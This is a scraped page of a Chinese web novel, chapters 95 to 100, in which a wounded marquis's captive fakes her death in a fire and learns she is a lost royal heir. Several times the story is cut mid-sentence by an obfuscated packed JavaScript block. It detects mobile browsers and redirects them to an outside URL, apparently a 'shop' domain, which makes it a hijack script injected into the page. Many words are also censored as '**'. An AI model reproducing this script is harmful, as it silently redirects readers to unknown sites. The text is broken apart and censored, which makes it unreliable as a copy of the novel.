晏无咎神色没有丝毫变化,他伸手扭正夏清棠的脸,让她的目光正对着自己的方向。 紧接着,大掌慢慢掀开自己的衣裳。 意识到眼前这个疯男人要做什么的夏清棠猛地从椅子上弹起来,“喂!你要干嘛?”。 晏无咎面不改色,嗓音暗哑,“色诱你,让你看看,看看是外面的男人姿色好,还是我的姿色好”。 夏清棠不屑冷嗤,“你堂堂朔耀王朝镇北候,竟也喜欢干这种下三滥的浪荡事儿”。 晏无咎恍若未闻,径直牵起夏清棠的手,带着它轻轻抚上自己的胸膛,从上到下,再从下到上,甚至还带着夏清棠的手捏了捏自己的八块腹肌。 “棠棠,你忘了吗?” “你之前最喜欢偷偷摸我,尤其是这里。” 第九十五章四波攻击。 “你以为你隐藏的很好,但我都知道。” 夏清棠惊愕。 【他知道?他怎么知道的,我靠了,这么顿感的一个晏无咎居然知道吗?】 晏无咎轻笑,“我知道,你当时很喜欢我,所以很喜欢摸我,总是想法设法的接近我,帮助我,然后吃我豆腐”。 夏清棠扯了扯嘴角。 【你知道,你知道个屁,我那都是为了自己的小命,谁喜欢你,谁想法设法的接近你,到时会给自己脸上贴金子。】 晏无咎深吸一口气,“我们是天生一对,不是吗?”。 夏清棠:【你真是油盐不进,前些天我说的话,晏无咎这个笨男人是一点都没听进去啊。】 夏清棠:“晏无咎,你若是相信什么天生一对的话,就应该去找个大师算算,让大师给你算出你的真命天女。” 晏无咎又深嗅了口浸着香气的空气,嘴角勾着轻笑,“棠棠,你说的对”。 说完这句话,他好像是急着去找大师一样,就这么离开了。 夏清棠擦了擦额角不存在的汉,“嗐!果然是个疯男人”。 手触碰到桌上的圣旨,她又开始走神。 …… 是许久不见的人物。 江汐汐手指敲击着桌面,声音发冷,“她还是没有吹骨哨吗?”。 “好多天了呢,她难道就不想我们吗?” 辜战挥手让几个手下退下,一屁股坐到江汐汐的旁边,有凑近附在江汐汐的耳边,“汐姐,小殿下绝对是有苦衷”。 “我今日出去的时候,敏锐的发现到镇北候府的守卫比之前增加了两倍不止。” “现在看来,说不定就是在看着夏清棠,也说不定,那个狗男人已经知道了我们的存在和夏清棠的身份。” 江汐汐面无表情的把玩着手中的玉佩,似是在喃喃自语,“要不要放一把火呢”。 辜战眼睛一亮,“汐姐,你说的有道理,我们是该放出一把火,把那个讨厌的晏无咎给引出去”。 “据我那些日子观察到的夏清棠的面部表情,她很明显就是心动了,记忆就算再消散,骨子里的记忆却不会消失。” “毕竟血浓于水嘛。” 江汐汐摩挲着玉佩,满意的点点头,“你话说的不错”。 “先派人去给晏无咎那个狗腿子点颜色瞧瞧,要见血的。” 辜战满眼兴奋,“遵命,汐姐!”。 “小的这就去办!” …… 当天夜里,晏无咎外出办事的途中,遭到了四波人的攻击。 应付了前三波人,他已经力竭,没想到还来第四波,看来今天离死不远了。 他擦了擦嘴角的血迹,自嘲的想,他若是**,那个女人是会开心,还是会伤心。 应该是会伤心的吧,毕竟他好歹也是她**过的男人。 长剑撑地,晏无咎满身血痕,一身玄色衣裳此刻浸满了鲜血,且破烂不堪。 他的眼前出现重影。 砰! 重物落地的声音,晏无咎砰的倒地,他费力的睁开眼,想亲眼看着自己是**的,却发现四周没了声响。 ……第四波人离开了。 是以为他**,还是单纯想折磨他。 意识彻底消散前,他听到了那个笨女人的声音。 沾着血迹的嘴角轻勾,哟,他的救世主来救他了。 “侯爷!侯爷!” 林木哭着喊着带着人马奔向孤零零躺在血泊中的晏无咎。 “快!快拿担架把侯爷担回去!” 林木失魂落魄的跟在后面,都怪他,没有及时收到侯爷的求助烟弹。 他真该死,呜呜呜。 侯爷不会就这样噶了吧。 夏清棠本来躺在床上已经泛起阵阵困意,冷不丁又听到外面嘈杂的脚步声和喊叫声。 她鼻尖动了动,好像还有一股血腥味儿,心底顿时升起一股不好的预感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17198213|195940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她慌乱的穿上衣裳,跑出院子,果然看到晏无咎院落的方向烛火通明。 夏清棠跑到墨韵院,看到晏无咎卧房前焦急的林木。 “林木,侯爷受伤了?” 林木满脸泪痕,“嗯,夏姑娘,不知道又是哪些狗东西,今晚竟然来了四波,一波接一波的攻击侯爷”。 夏清棠神情凝重,“是安大夫在里面吧?”。 林木点头。 夏清棠看向烛火通明的屋子,听不到丝毫的痛呼声,只有忙乱的脚步声和安瑾的命令声。 一阵阵血腥气扑向鼻孔,夏清棠长睫低垂,遮住眸中神色。 她拍了拍林木的肩膀,嗓音也带上颤音,“林侍卫,你放心,侯爷一定会没事儿的,相信侯爷,相信安大夫”。 林木抹抹泪,点点头。 两人就这样守在门外,时间过去很久,屋内的脚步声也渐渐平静下来。 吱—— 满脸疲惫的安瑾出来了。 夏清棠和林木焦急的围上去。 “安大夫,侯爷怎么样了。” 安瑾眼眶泛着红血丝,最近糟心是真是一个接一个啊,萧策那边还昏着,现在这边又多了个。 他僵硬的扯了扯嘴角,实话实说,“侯爷今夜受的伤太重了,若是挺过今晚,一切都好说,若是挺不过……”。 气氛陷入沉寂。 生死的话题太过沉重,他们的嘴张了又张,却是一句话都说不出来。 安瑾脚步虚浮,眼前一阵阵的发黑,林木连忙上去扶助安瑾。 夏清棠在一旁说到,“安大夫,你先去休息休息,这里交给我两个”。 安瑾看了看夏清棠,又看了看林木,他现在这么虚,在这也是添乱,他点点头,又认真的嘱咐了两人几句。 夏清棠和林木轮流守夜,夏清棠负责前半夜,林木负责后半夜。 安瑾就在离晏无咎屋子最近的屋子里稍稍歇下。 第九十六章离开。 夏清棠闭上房门,走到晏无咎床边,瞳孔震缩。 榻上的男人可以说是浑身都没有一处好皮,除了脸上,剩下的全被绷带绑住。 空气中满是苦涩的药味儿和浓烈的血腥味儿。 夏清棠俯身,右手轻轻抚上晏无咎的脸颊,声音几不可闻。 “晏无咎,你看,你连自己都保护不好,又有什么把握能护住我呢。” 夏清棠额头抵上晏无咎的额头,嘴唇轻轻碰了碰晏无咎的嘴角。 “你若是真的爱我,就该放我离开。” 夏清棠直起身子,抬手轻轻拂去眼角的泪痕,她环视四周,放轻动作。 一阵窸窣声过后,夏清棠动作停住,看着手中的东西,她松了口气,又小心的将东西藏在身上。 她呆愣的坐回到晏无咎的床边,手指放在晏无咎鼻尖,感受到晏无咎的呼吸,她心稍稍安定了些。 文书拿到手了,她什么时候离开,晏无咎若是醒了,会不会派人来抓她。 咚咚咚—— “夏姑娘,你先去歇着吧,后半夜,我来守着。” 夏清棠起身,静静的离开了这间屋子,林木只当她是太过伤心,以至于到了魂不守舍的地步。 …… 今夜的守卫都集中在晏无咎的院子里了,她这里人少了很多。 若是她这院子趁着今夜出个乱子,就好了。 那……晏无咎会死吗? 夏清棠目光空洞,愣愣的看向虚空处,像失了魂。 她喃喃,“该怎么出个乱子呢”。 她的目光落在屋子内摆放的蜡烛上。 后半夜了,外面静的很。 夏清棠心中有了些想法,很快便将票子都装到身上,龙纹锁,金子,龙纹锁得拿上,金子……金子有点多,贪多嚼不烂,少拿点算了。 夏清棠心抽痛抽痛的。 “着火了!着火了!” 正低头写着什么东西的夏清棠猛地抬头,看清外面的景色,她瞳孔震缩! 真的着火了?!!! 砰! 门被撞开,冲进来的是江汐汐和辜战。 夏清棠:“?!!!” “你们怎么来了!” 江汐汐目光紧紧盯着夏清棠,看到夏清棠手中的动作和收拾的行囊,她眸中闪过了然。 江汐汐:“跟我们走。” 辜战附和,“对,夏清棠我们知道晏无咎囚禁你,打听到消息今晚特意来救你。” 夏清棠稍一思索,又很快点头,“好”。 话音刚落,只见江汐汐伸出手放到唇边吹了一口哨子,立马又有两个人扛着一具尸体进来,扔到了夏清棠的床上。 江汐汐几脚踹倒屋子里的几个蜡烛,攥住夏清棠的手腕利落翻窗往出跑。 几人一路轻功运行,行至一处房檐处,夏清棠回头看了一眼,镇北候府内,她的院子早已被大火吞噬,好在,她的院子与那几人住的地方里的够远,并未殃及到别人。 江汐汐沉静的声音伴着风声灌入耳中,“夏姑娘,你放心,只有你的院子着火了”。 “不会伤害到其他人。” 夏清棠:“嗯。” 江汐汐一行人带着夏清棠来到他们的住处。 夏清棠暗自思忖,这个地方还真是隐秘,不会对她**灭口吧。 “夏姑娘,别害怕,我们都是自己人。” 江汐汐看出夏清棠的顾虑,微微一笑,开口安抚。 “我们是好多天没有见到你,也没有收到过你的消息,派人去调查,发现你居然被晏无咎变相囚禁了。” “我们很担心,于是才出此下策。” “你会怪我们吗?” 夏清棠抬眸看向江汐汐,心底微微惊讶,她又在江汐汐脸上看到如此真诚,如此关切的表情。 “我当然不会怪你们,我还要谢谢你们呢。” “只是,你们现在要带我去哪儿。” 她有点怂,尤其是看到居然有这么多人去侯府找她后。 更别说,现在还被这些人围在正中间。 辜战爽朗一笑,又豪爽的拍了下夏清棠的肩膀。 “嗐!夏清棠,咱们都是自己人,现在当然是要好酒好菜好住处的招待你了。” “嘿嘿嘿,去他的狗屁晏无咎!居然敢囚禁你,今夜没有把他的院子烧了,算我汐姐太善良了,再有下次,我一定要把他烧的片甲不留!” “夏姑娘,别怕啊。” 夏清棠:“辜战,你们这么讨厌晏无咎。” 辜战毫不犹豫的点头,“那是当然,他可是这狗屁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“哇趣!那岂不是一场狗咬狗的大戏!” 辜战笑得畅快,江汐汐眼角也沾染上笑意。 “啧啧啧,这晏无咎真可怜,这么兢兢业业的当狗腿子,却被人这样搞。” “哈哈哈!我不是故意笑的,我就是单纯看晏无咎不顺眼。” 第九十七章**。 天刚蒙蒙亮。 镇北候府内。 夏清棠的院子的汹涌烈火终于被扑灭了,看着眼前的满目疮痍,林木浑身颤抖,眼泪喷涌而出。 没把人救出来,没有把夏姑娘救出来,会不会……会不会夏姑娘早就已经跑出去了。 他任由眼泪模糊视线,看着眼前烧的黑焦又破败的屋子,他大喊,“进去找人,活要见人,死要见尸!”。 林木在心底祈祷,一定要活着,一定要活着。 时间一分一秒的过去,随着守卫们的寻找,空中飘满了漫天灰烬。 更添悲凉氛围。 直到,直到两个守卫小心翼翼地搬出一个人。 林木急切地跑过去,却在看到真面目的那一刻面如死灰,地上放着的人,已经被烧成黑炭模样,叫人看不出面容,可是,这是从夏清棠的院子里找出来的,她的院子里,除了她,还会有其它人吗? 林木:“继续找!找不到第二个为止。” 安瑾昨晚在听到着火的喊叫声时,脑子也瞬间清醒,他不敢贸然加入救火的队伍,这实在是可疑,老晏刚受伤昏迷,夏清棠那里就出事,他现在必须得守好老晏。 晏无咎的情况堪堪稳住,他过来看看情况,眼前的场景,让他大受震撼,这……这很难活下来啊。 林木:“安大夫,能不能麻烦你看看这具尸体。” 林木蹲下身子,细细观摩一番,表情沉重,“这是一具女尸,身高体型也与夏姑娘的相似”。 他顿了顿,又命人去自己的屋子里拿了些工具,只见,他在尸体的鼻子处操作着什么。 安瑾站起身子,语气凝重,“在这具尸体的鼻孔里,发现了**的成分”。 这句话,无疑打破林木心底的最后一丝幻想,他刚才还在心底暗自思考,昨夜的火那么大,夏姑娘察觉到,怎么可能会跑不出来,总不能是睡得太死吧。 没想到,没想到居然是**,他又招呼来刚才发现这具尸体的守卫,“这具尸体在哪儿发现的”。 守卫:“在床榻处。” 林木脑子轰的一下,好似所有血液都冲向头部,他现在已经无法思考。 侯爷现在还重伤昏迷,夏姑娘又很大可能是**,若是侯爷醒了,听到这个噩耗,会不会受不了,会不会直接撒手西去。 侯爷不能知道夏清棠**。 几乎是一瞬间,林木已经做好决定,他看向安瑾,这侯府里,侯爷最常接触的就是他们二人,那剩下的那些人该怎么办。 林木死马当活马医,开始瞎说八道,“安大夫,这真的能救吗,快,快把夏姑娘抬到另外的屋子里”。 安瑾:“……” 他不可置信的看看林木,又看看已经被烧得面目全非的女尸,无奈叹气,“对,还能救,你们几个小心点,不要乱看乱摸,抬到那间屋子里去”。 “唉!” 林木双眼泪汪汪,“安大夫,怎么办,侯爷要是醒了,听到这个消息,会不会再被气死”。 安瑾:“……” 他看向远方,声音飘渺,“放心吧,你们侯爷没那么脆弱”。 …… 晏无咎床榻前,静静站着两个高大的男人。 安瑾:“老晏,你快醒醒吧,我要没银子救你和萧策了”。 林木:“安大夫,侯府内库还有银子。” 安瑾:“你被拆我台,这叫煽情疗愈法,通过情感激发,有利于病者的痊愈和苏醒。” 林木似懂非懂的点点头,“安大夫,我好像懂了”。 下一秒,林木砰的跪在晏无咎床边,埋头痛哭。 “侯爷,呜呜呜!你要是**,我该怎么办,我可是你捡回来的。” 安瑾:“……” 他踹了林木一脚,也跪在晏无咎床边,开始埋头痛哭。 “老晏!呜呜呜!你要是**,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205142|195940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仅你的好兄弟我们会跑了,就连你的心上人夏清棠,那也是要离开你啊。” “老晏啊,你千万挺住啊。” “你还要醒了,去追求夏清棠啊!你要是**,我告诉你,肯定就有别的好男人去追求夏姑娘!” 林木吸了吸鼻涕,安大夫说的好狠,呜呜呜,侯爷听到了会伤心的。 安瑾恶狠狠的瞪了林木一眼,“看**什么,就是要这样,才能激发你们侯爷的斗志,懂吗?”。 林木:“呜呜呜……嗯。” 一时间,整个房间里,哭泣喊叫声不绝于耳。 京城也已经开始流传晏无咎身受重伤,命不久矣的传闻。 有人哀叹惋惜,有人拍手叫好,有人事不关己。 这其中,反应最强烈的,竟然是曾经的那群流民。 他们纷纷拿着东西来侯府看望晏无咎,无一例外,被林木以侯爷不便推辞过去。 林木焦急的在屋内踱步,“安大夫,怎么全京城都知道侯爷身受重伤,命不久矣的,难道是我们哭的太大声了?”。 安瑾摇头,“不是,就是单纯有人盯着老晏,有人想害他”。 “我们哭声还没那么惊天动地。” “老晏受伤昏迷的事,是满不下去的。” 林木颤抖,“我一定要誓死守护侯爷”。 安瑾:“林木,昨日,是有几波人刺杀老晏吗?” 林木点头,“我赶到的时候,侯爷手里就竖着四根手指头,之前也是这样,但是从来没有一次性遇到过这么多刺杀”。 安瑾神情凝重,拍拍安瑾的肩膀,“下令加强守卫,兵权可以丢,姓名不可以丢”。 “说是担心老晏,来探访的,也必须拒绝,并且…留个心。” 林木坚定点头。 很快,整个侯府的守卫都集中到晏无咎的院子,为了方便,萧策也被搬到了墨韵院,安瑾和林木也都搬过来。 第九十八章抉择。 “晏无咎重伤昏迷?” 朔砚辞眼底有惊讶,但更多的是幸灾乐祸。 “哈哈哈,你们看看,这就是活该啊,恶人自有天收。” 朔砚辞心情大好,悠哉悠哉的品着杯中茶。 手下暗卫又张嘴说,“主子,夏清棠好像也是重伤昏迷了”。 朔砚辞惊讶,“哦?讲来听听”。 暗卫:“据探查到的消息,晏无咎受伤昏迷的当晚,夏清棠所在的院子着火了,足足一夜,才将大火灭了。” 朔砚辞神色难辨,眸色晦暗,他似是丝毫不在意这件事,只是挥挥手示意暗卫退下。 “行了,你们退下吧,那边继续盯着,还有,那玉佩的事停了。” 暗卫:“是,主子。” 朔砚辞眸光落在茶杯中沉浮的茶叶上,眸中不再是对晏无咎重伤而幸灾乐祸的喜悦。 到底是什么人盯上夏清棠了,是晏无咎的仇家,还是渊国的仇家。 “啧,本皇子的大计居然又被打断了,重伤昏迷?倒是一个躲避进宫的好法子呢。” 朔千钰想到什么,又极其阴险的笑了两声,不管怎样,晏无咎现在差不多就快**,是件好事儿。 就是可惜,可惜皇宫那对母子,又能多国几天好日子。 …… 夏清棠一夜未眠,睡不着,心口酸的很。 而且,这里还有随处可见的随从,虽看着是侍从打扮,可是,原主的武功记忆告诉她,这些人都是会武功的。现在,她的房间门口就分别站着两个人。 夏清棠走出房门,本以为会遭到两个侍从的阻拦,然而,并没有,反而对她尊重的很。 “夏姑娘,我们主子交代我们在这里保护你的安全,特意嘱咐我们告诉你,让你不要多想。” 夏清棠点头,温和微笑,“谢谢”。 她往前没走几步,就迎面碰上江汐汐。 江汐汐一看到夏清棠,眼里就带上笑意,“夏姑娘,你起的真早”。 夏清棠:“江小姐,你叫我名字夏清棠就好。” 江汐汐微愣,但很快应下,“好,夏清棠,跟我来”。 江汐汐带着夏清棠用完早膳,又将她带到一处隐秘性极其好的房间内。 江汐汐丝毫不避讳,直接当着夏清棠的面在屋子里各处摆弄几下,直到摁下最后一块机关。 轰隆隆—— 是重物移动的声音,地板移开一块又一块,一条深不见底的暗道出现在两人面前。 夏清棠心底一个咯噔,惊讶抬头,正好对上江汐汐的目光。 江汐汐:“夏清棠,你想跟我下去吗?” 夏清棠诚恳摇头,“不想”。 江汐汐愣住,嘴角不由得扯起弧度,她没想到夏清棠如此直接又诚实。 夏清棠现在是真的觉得自己好不容易离开了狼窝,现在是又入了虎穴,这暗道黑布隆冬的,谁敢进啊,谁知道是不是**抛尸的地方。 江汐汐看出夏清棠所想,嘴角笑意带着恶趣味,她逗夏清棠,“夏清棠,你是不敢下去吗?是不是害怕我把你给**抛尸了”。 夏清棠当然不会承认,“那当然不是了,你不是我们是亲人吗?我就是单纯害怕这种黑黢黢的环境”。 江汐汐认真思索了一下,“你怕黑,我们蜡烛管够”。 说完,她竟真的去拿了好些蜡烛,一根根点上,又沿着暗道走下,在暗道两边摆满了蜡烛。 夏清棠闭了闭眼,她好无力啊。 夏清棠:“可是……可是暗道里面也总是黑的吧,不然,你先下去把里面也点亮?” 江汐汐轻笑,“夏姑娘,不用害怕,暗道里面摆放的是日夜通亮的夜明珠”。 “夏姑娘,若是我们真的想害你,早就害了你了,没有必要如此大动干戈,拐弯抹角。” 夏清棠垂眸,眼中思绪万千,道理她都知道,她就是害怕,害怕再知道些什么不得了的秘密,又被迫走上什么不得了的道路。 江汐汐俯身凑近夏清棠,明亮的双眸认真的注视着夏清棠,“夏姑娘,你自己决定,我们不强迫你”。 夏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210850|195940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清棠声音淡淡,让人听不出什么情绪,“嗯”。 两人一前一后循着暗道走进最深处。 空间骤然变大,看清眼前的场景,夏清棠双眸微微睁大,心底有些震撼,满墙都是画像,满地都是金银珠宝。 江汐汐走上前去,手指轻抚着画像的边缘,嗓音冷沉却又带着柔和,“夏清棠,你看这画像上的人眼熟吗?”。 夏清棠也走近几分,眸光细细描绘画上的人物,是上次那两张画像上的人物,是原主的爹娘。 她点头,“江姑娘,这和上次你给我看的那两张画像上的人物一样”。 江汐汐扭头看向夏清棠,“就是这样吗?”。 夏清棠:“嗯。” 江汐汐:“夏姑娘,你是我们渊国的公主,是我们渊国的殿下,他们是你的父母,你不想回归我们吗?” “我们会追随你,所有金银财宝也都是你的,我们一起去把你的母后救出来,一起颠覆了这狗屁的朔耀王朝。” 夏清棠强迫自己不再去看画像上的人物,“我什么也不会,我就是一个俗人,我就想自己潇洒自由,快活一生,我并没有什么复国统一天下的大志向”。 “江汐汐,你们想颠覆朔耀王朝,想复国,为什么不自己去做,为什么要把希望寄托在一个什么都不知道,仅仅是有血缘关系的人身上。” 江汐汐顿住,“渊国是一个极其重视血统的国家,皇室子弟身上的本领,是外人比不过的”。 夏清棠头顶是大大的问号,“江汐汐,你看我,像是有什么大本领的人吗?”。 江汐汐毫不犹豫地点头。 “我看人的眼光一向很准,毕竟我能第一眼见到你,就认出,你是我们的小殿下。” 夏清棠开始扯皮,“那你觉得我有什么本领,说出来,让我乐呵乐呵”。 江汐汐:“你最近是不是经常做梦,梦里有我和辜战,还有你的父皇母后,或者……还有一个男人。” 夏清棠:“……” “你是瞎说的,还是偷偷给我算命了。” 第九十九章觉醒系统?! 江汐汐轻轻勾了勾嘴角,“你可以理解为第二种”。 夏清棠大惊,“江汐汐,那有大本领的人明明是你啊”。 江汐汐眸光看向远处,声音带上虚无缥缈之意,“你带着那枚龙纹锁吗?”。 夏清棠微愣,似是没想到话题怎么就跑到这个龙纹锁身上了。 江汐汐:“你没有发现什么异样吗?” 夏清棠被这样一问,突然就想到自己弄破手指将血滴到那枚锁上的愚蠢行为,她斩钉截铁的回答,“没有,就是样式特别了点”。 江汐汐却像是窥见了什么一般,又张口问道,“你有没有把血滴到这上面过”。 夏清棠呆了:“……” 她面上不显神色,内心却是!!!大震特震。 难道江汐汐真的会算命,这也太神了吧,还是说,江汐汐其实每天都在处心积虑的监视她! 此女……此女恐怖如斯啊! 江汐汐歪头,“嗯?没有过吗?”。 夏清棠绷着张脸,平静摇头,“没有”。 江汐汐:“你想现在试试吗?” “或许,你会得到想要的答案。” 夏清棠从袖中拿出那枚龙纹锁,眸光落在上面,心底居然可耻的出现一个荒唐的念头,这枚龙纹锁里面,不会住着一个名叫系统的家伙吧。 江汐汐嘱咐:“血一定要精准滴到龙眼处。” 夏清棠依旧垂眸沉默:“……” 这架势,里面不会真的有什么牛马鬼神等着她吧。 夏清棠再也压制不住心底的好奇心,尖锐的虎牙咬破指尖,血珠精准滴入到龙眼处。 在二人的目光中,血珠竟完全融入这枚龙纹锁。 夏清棠瞳孔微缩。 哗—— 强烈的白光从手中的龙纹锁中射出,夏清棠猛地闭上双眼,脑海中却是一阵阵的刺痛。 “哈喽!” 夏清棠不可置信的看着自己脑海中的这个小东西,是一个Q版的小龙人。 夏清棠:“……哈喽。” 小龙人:“嘿嘿嘿,小棠棠,我终于等到你了,你还记得我吗?你小时候,我还抱过你嘞。” 夏清棠此刻有一点宕机,这个Q版小龙人抱过小时候的她?这是什么地狱级玩笑,应该是抱过小时候的原主吧。 夏清棠也笑了笑,“你是龙还是机器人”。 小龙人瞬间竖起眉毛,“我当然是货真价实的龙啦,机器人那种东西,也配和本龙相提并论?”。 夏清棠暗自思忖,这小龙人知道机器人。 小龙人伸出小爪子在夏清棠眼前晃了晃,“喂喂喂,小棠棠,这才多久不见,你居然都把我忘了,你记性真的很差哎,对了,你娘现在怎么样”。 夏清棠垂眸,这是在说原主的娘吧,“我娘还活着”。 小龙人疑惑,“还活着?怎么感觉听着有些惨啊”。 夏清棠:“你认识我娘吗?你……” 小龙人抱着双臂,“我什么我,对哦,我都昏睡了这么多年了,外面都不知道变成什么样子了”。 它又看了夏清棠一眼,“我看看呀”。 只见Q版的小龙人虚空掏出一个透明的球,两只爪子在上面抚摸着,很快,它龙脸上的表情变幻莫测,异彩纷呈。 小龙人喃喃自语,“你娘从古代去现代,又回来古代,你从现代来古代,又从古代回现代,又从现代来古代”。 “你娘俩搁这玩穿越小游戏呢。” 夏清棠真的懵了,它连她是穿过来的都知道,可是,她怎么可能穿了那么多次。 还是说,这只小龙人其实是预言家? 夏清棠:“小龙人,你知道我是穿越过来的?” 小龙人摊摊爪子,“当然喽,我可是上知天文,下知地理的超级无敌龙战士!”。 夏清棠:“你真牛,那原主呢?” 小龙人:“原主?什么原主,你才是原主,至于这具身体曾经待过的那个灵魂,自然也是回到自己该回去的地方了。” 夏清棠:“……你是说,我本来就是这儿的人?” 小龙人嫌弃的目光扫视夏清棠,“当然喽,你妈妈就是这里的,那你当然也是这儿的啦”。 夏清棠脑子一片空白,她一直以为的原主的娘,其实就是她的妈妈,她狠狠掐住自己 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夏清棠无奈,又想到江汐汐,她尝试着之前从小说看到的方式,唰,她眼前小龙人呼呼大睡的画面消失,取而代之的是江汐汐戏谑的目光。 江汐汐挑眉,“小棠棠,你刚才了发了好长时间的呆哦”。 “是发生什么了吗?” 夏清棠抿唇,这女人果然什么都知道,居然连那小龙人是怎么叫她的都知道。 夏清棠直接打开天窗说亮话,“江汐汐,你都知道吧,那我们就直接说吧”。 江汐汐嘴角扯起弧度,眼里也满是笑意:“嗯,好啊。” “是我的荣幸。” 夏清棠眼珠子一转,“江汐汐,你们不会是什么邪教组织吧?”。 “还是啥妖教,不然怎么会有妖物。” 江汐汐嘴角僵住:“……” 很快,她又恢复如初,明明是一张冷冰冰的脸,却勾着惑人的笑意,江汐汐知道她是在开玩笑,看到夏清棠愿意同她开玩笑,她很开心。 第一百章走势癫狂 江汐汐轻轻摩挲着手指,“夏姑娘,你刚才走了好长时间的神,是在和龙战士聊天吧”。 夏清棠:“那只Q版小龙人真的叫龙战士啊。” 江汐汐点头,“它是我们渊国的神武龙战士”。 夏清棠梗住:“……” 好中二,好尴尬哦,这个渊国真的是个正常国家吗? 江汐汐神情变得严肃,“夏姑娘,你就是我们渊国未来的国主”。 夏清棠:“……” “你不是让我自己选择吗?” 江汐汐垂眸,沉默一瞬,轻轻嗯了一声。 夏清棠:“江汐汐,那……龙战士那么牛…厉害,为啥我一说要它帮忙它直接就是倒地呼呼大睡。” 江汐汐嘴角抽搐了一下,“它……太虚了。” 夏清棠哦了一声,把手中的龙纹锁直接抛向江汐汐。 “哦,这么没用啊,那我要它干嘛,不接受捆绑啊。” “婉拒。” 江汐汐愣住,眉眼微微弯了弯,“夏姑娘,你说话真有意思,我喜欢听”。 “但是,你不想把你的母后救出来吗?” “到时候,你再去浪迹天涯,岂不是快哉?” 夏清棠眸光顿住,脑中自己老妈的音容笑貌紧紧缠绕着她,她心口处又紧又闷。 她想救,可是她只想救自己老妈,剩下的什么事,什么渊国,什么家国仇恨,她没那个本事管。 江汐汐:“夏姑娘,实不相瞒,你母后和你皇帝都在朔曜王朝的后宫中,只要把他们都救出来,你的心也轻松不是吗?” 夏清棠怔住,眼底满是震惊,母后是啥她知道,可是什么时候又蹦出来个皇弟?! 夏清棠咽了咽口水,眼神有点懵逼,“我感觉我的脑子和耳朵好像都有点**”。 江汐汐:“是的,没错,你不仅有一个母亲,你还有一个弟弟。” 夏清棠:“……” 今天她的母语是无语。 弟弟啊,她妈是古今来回穿,然后还分别生了一个孩子? 是亲弟弟的话,夏清棠的脑中又浮现出当初和晏无咎一起进宫面圣时,和宋玉竹在御花园遇到那位皇子。 她当时就觉得长的简直太像她妈了,她弟弟会是他吗? 夏清棠脊背泛起一阵阵凉意,事情的走向实在是太过诡异,太过风骚,她的世界观要被重塑了。 小龙人就够诡异的了,现在喵的又多了个弟弟! 江汐汐继续感情攻势,“夏姑娘,你不想你母后吗?你不想知道她在这朔曜王朝的后宫里过的好不好吗?”。 “你们分别的这么多年,你在想她,她也在想你,你们不想见一见,你们不想一直待在一起吗?” 夏清棠僵住。 …… “安大夫,三皇子,四皇子来拜访,说是来看看镇北候。” 不待安瑾说话,林木就一口回绝。 安瑾轻叹一口气,安抚的拍拍林木的肩膀,低声对他说道,“让我来”。 林木沉默。 安瑾对那侍从说,“带三皇子和四皇子往正厅去”。 在林木焦躁的目光中,安瑾独自一人去了正厅。 时间不知道过去多久,安瑾回来了,只是又带回了满身疲惫。 他揉揉眉头,对林木说,“没事儿了,应该说,很长一段时间,都不会有人来找老晏的麻烦了”。 原来,朔砚辞和朔千钰此行前来的目的,也只不过是形式上的装模做样一下,通知晏无咎,兵权收回。 晏无咎现在在他们眼里,已经丝毫构不成什么威胁,是以,两人也并没有在这里多待下去的打算。 林木眼眶泛红,“那镇北军怎么办”。 安瑾声音让人听不出情绪,“皇帝安排新人暂领”。 林木声音激动,“那可是侯爷的心血!去他的狗皇帝!”。 萧策和晏无咎一个接一个的受伤昏迷,让安瑾已经疲惫至极,他闭上眼,声音里也满是疲惫,“你既然知道是侯爷的心血,自然是没那么容易听别人话的,现在,我们最重要的任务,就是守着侯爷,让他早日醒过来”。 林木无声流泪,他吸了吸鼻子。 “好。” …… 三年后。 这三年间,京城的格局又发生了翻天覆地的变化。 昔日辉煌的镇北候沦落为废人一个,风光不在。 四皇子朔千钰成功被封为太子,顾念对镇北候的旧情,于是,晏无咎的名号仍在。 只是,晏无咎残暴嗜血阴暗**不眨眼的名号也在京城流传的风风火火。 有人说是因为镇北候双腿废了,所以心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 